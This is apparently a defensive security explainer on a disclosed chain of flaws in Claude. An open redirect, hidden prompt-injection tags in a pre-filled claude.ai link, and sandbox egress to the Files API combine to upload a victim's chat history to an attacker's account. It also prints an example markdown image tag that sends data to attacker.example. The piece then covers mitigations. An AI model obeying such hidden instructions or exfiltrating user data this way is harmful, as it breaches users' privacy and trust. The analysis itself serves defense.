Claude’s triple vulnerability chain: what chained LLM exploits reveal about defense layering

“Each defense layer assumed the previous one held. The attacker assumed none of them would.”

TL;DR

Oasis Security’s “Claudy Day” chain (March 2026): an open redirect on claude.com, a pre-filled claude.ai prompt that could hide instructions from the user, and sandbox access to Anthropic’s Files API that let injected code upload a victim’s conversation history to the attacker. It builds on Johann Rehberger’s earlier Claude exfiltration findings. Each step had a local justification. The chain works because each layer trusts what the previous one handed it. The fix is closing exfiltration channels and monitoring patterns that span input, generation and egress. For more on prompt injection, see indirect prompt injection. For defense architecture, see defense-in-depth for LLM applications.

---

What is the triple vulnerability chain?

On 18 March 2026, Oasis Security published “Claudy Day”, three issues in Claude.ai and claude.com that chain into silent theft of a user’s conversation history. The vulnerability is not in any single component. It is in the interfaces between components.

Step 1: Delivery through an open redirect. The path claude.com/redirect/<target> forwarded visitors to any destination without validation. Google Ads validates ad destinations by hostname, so an attacker could run a search ad that showed a trusted claude.com address and still send the victim wherever they chose.

Step 2: An invisible prompt injection. A link of the form claude.ai/new?q=... opens a chat with the prompt pre-filled. Oasis found that certain HTML tags embedded in that parameter stayed invisible in the text box but were still processed by Claude when the user pressed Enter. The user sees an innocent prompt. Claude also receives the attacker’s hidden instructions. This is prompt injection, the number-one risk in the OWASP LLM Top 10, delivered through the product’s own URL feature.

Step 3: Exfiltration through an allowlisted API. Claude’s code execution sandbox allows network connections to api.anthropic.com. The hidden prompt carries the attacker’s API key and tells Claude to search the user’s conversation history and memory, write the results to a file and upload it through Anthropic’s Files API. The upload lands in the attacker’s account, not the user’s. Oasis notes the attack worked in a default session with no integrations or MCP servers; with connected tools, files and messages from those services would also be in reach.

At publication, Oasis said Anthropic had fixed the prompt injection issue and was addressing the rest.

sequenceDiagram
    participant Ad as Search ad (claude.com URL)
    participant Redirect as claude.com/redirect
    participant UI as claude.ai/new?q=
    participant LLM as Claude + code sandbox
    participant API as Anthropic Files API
    participant Attacker as Attacker's account

    Ad->>Redirect: Victim clicks a trusted-looking claude.com link
    Redirect->>UI: Unvalidated redirect to crafted link
    Note over UI: Visible prompt looks benign<br/>hidden tags carry instructions
    UI->>LLM: User presses Enter
    Note over LLM: Searches history and memory,<br/>writes results to a file
    LLM->>API: Upload with attacker's API key
    API->>Attacker: File appears in attacker's console

The earlier chain: Rehberger’s Claude findings

Claudy Day is the latest version of a pattern Johann Rehberger, the researcher behind Embrace The Red, has documented in Claude and other assistants for years.

In July 2023 he reported that a document uploaded to Claude could carry an indirect prompt injection that made Claude output a markdown image tag such as ![](https://attacker.example/x?data=...), with a URL-encoded summary of the conversation in the query string. The chat interface rendered the image automatically, so the browser sent the data to the attacker with no click. Anthropic responded within about two weeks by no longer rendering images automatically, requiring the user to click “Show Image” (Rehberger’s write-up). That is the classic three-step chain: injection in a document, markdown in the output, a renderer that makes the network request.

In October 2025, his “Claude Pirate” post showed the channel Claudy Day later used: the code interpreter’s default “package managers only” network setting allowlisted api.anthropic.com, so a prompt injection in a document could make Claude upload the user’s data to the attacker’s account through the Files API with the attacker’s key. Anthropic first closed the report as out of scope, then confirmed that data exfiltration issues like this are in scope and that the closure was a process error.

Why does chaining work when each step has defenses?

Each link in the Claudy Day chain had a plausible local justification.

The ad platform checked that the destination hostname belonged to the advertiser’s domain. It did, because the redirect lived on claude.com.

The redirect endpoint forwarded to its target. That is what redirect endpoints do, and an open redirect on its own is usually rated a low-severity web bug.

The prompt pre-fill feature showed the user a prompt before sending it. It did not show the parts the text box did not render, and the model received them anyway.

The sandbox’s network allowlist permitted Anthropic’s own API, a reasonable choice for an Anthropic product. It checked the destination domain, not whose account the request would land in.

The chain works because each defense layer assumes the previous layer held. No single layer failed outright. Each worked correctly within its assumptions. The attacker exploited the gaps between those assumptions.

The 2023 markdown chain has the same shape. The model trusted the uploaded document as content to summarize. The output classifier, if any, looked for sensitive text, not for data hidden in an image URL’s query string. The renderer trusted the model’s output and fetched whatever image it named.

What pattern does this reveal?

The same pattern appears in any system with three properties:

1. Untrusted input reaches the model. Documents, emails, web pages, database records, pre-filled prompts, links: any content an attacker can influence.
2. The model or its tools can reach a network channel. Rendered images, link previews, sandbox egress, webhooks, email, file uploads.
3. The channel trusts a destination by name rather than by owner. An allowlisted domain, a markdown renderer that fetches any URL, a redirect that forwards anywhere.

This is not specific to Claude. Rehberger demonstrated variants of the markdown-image channel across several chat assistants, and any LLM application that processes untrusted content and gives the model or its tools an outbound path has the same architecture and the same vulnerability class. Email-processing agents, document summarizers, coding agents and customer support bots that read tickets all fit the pattern.

The broader principle: defense-in-depth fails when layers are independent rather than correlated. Traditional defense-in-depth assumes that even if one layer fails, the next catches the attack. Chained exploits get around this because no single layer fails; each works correctly given its local assumptions. The failure is in the trust boundaries between layers, not within any layer.

What are the mitigations?

Four approaches, roughly in order of implementation difficulty.

1. Close the outbound channels. The markdown renderer should not make network requests on its own: no automatic external image loading, no iframe embeds, no script execution. If images must appear in output, proxy them through your own server and allowlist the domains, and apply a Content Security Policy to rendered LLM output as you would to user-generated content. For sandboxes and tools, bind egress to the user rather than to a domain: an allowlisted API should only accept the logged-in user’s own credentials, which is the mitigation Rehberger proposed for the Files API channel.

2. Show users what the model will receive. A pre-filled prompt should display everything that will be sent, with no content the interface hides but the model processes. Strip or visibly render markup in URL parameters.

3. Context isolation. Document and URL content should not have the same authority as system instructions. Models that support instruction hierarchy (system prompt > user message > document content) provide partial mitigation. This reduces but does not eliminate the attack surface; see why prompt injection is structural.

4. Cross-layer monitoring. Instead of independent defense layers, deploy monitoring that correlates signals across the full pipeline. Detect when input arrives through an unusual path or contains instruction-like patterns AND the model starts gathering data unrelated to the visible request AND data leaves through an outbound channel. No single layer sees this pattern. Cross-layer monitoring does.

And fix the boring bugs. An open redirect is a classic low-severity web finding. In an AI product it becomes the delivery mechanism that makes an injection link look trustworthy.

The uncomfortable truth: many production LLM applications have few of these mitigations. Markdown rendering is the default in most chat UIs, many markdown renderers load external images unless configured otherwise, and code sandboxes routinely allowlist whole domains. The attack surface exists in many deployed systems today.

Key takeaways

• The vulnerability is in the interfaces, not the components. Each step of the Claudy Day chain had a local justification. The chain worked by exploiting the trust assumptions between layers.
• Defense-in-depth fails when layers are independent. Correlated monitoring across input, generation and egress catches what independent layers miss.
• Treat every outbound channel as an exfiltration path. Rendered images, sandbox egress and tool calls all count. Bind allowlists to the user’s identity, not just a domain.
• This pattern is universal. Any system where untrusted content reaches a model that can reach the network is exposed to this exploit class.
• Instruction hierarchy helps but does not solve. Document content competing with system instructions reduces attack success but does not eliminate it.

Further reading

• Indirect prompt injection: the injection technique behind these chains
• Defense-in-depth for LLM applications: the layered defense architecture this chain bypasses
• Prompt injection is a structural attack: why model-level fixes cannot close this class on their own
• Data leakage prevention: broader exfiltration prevention for agent systems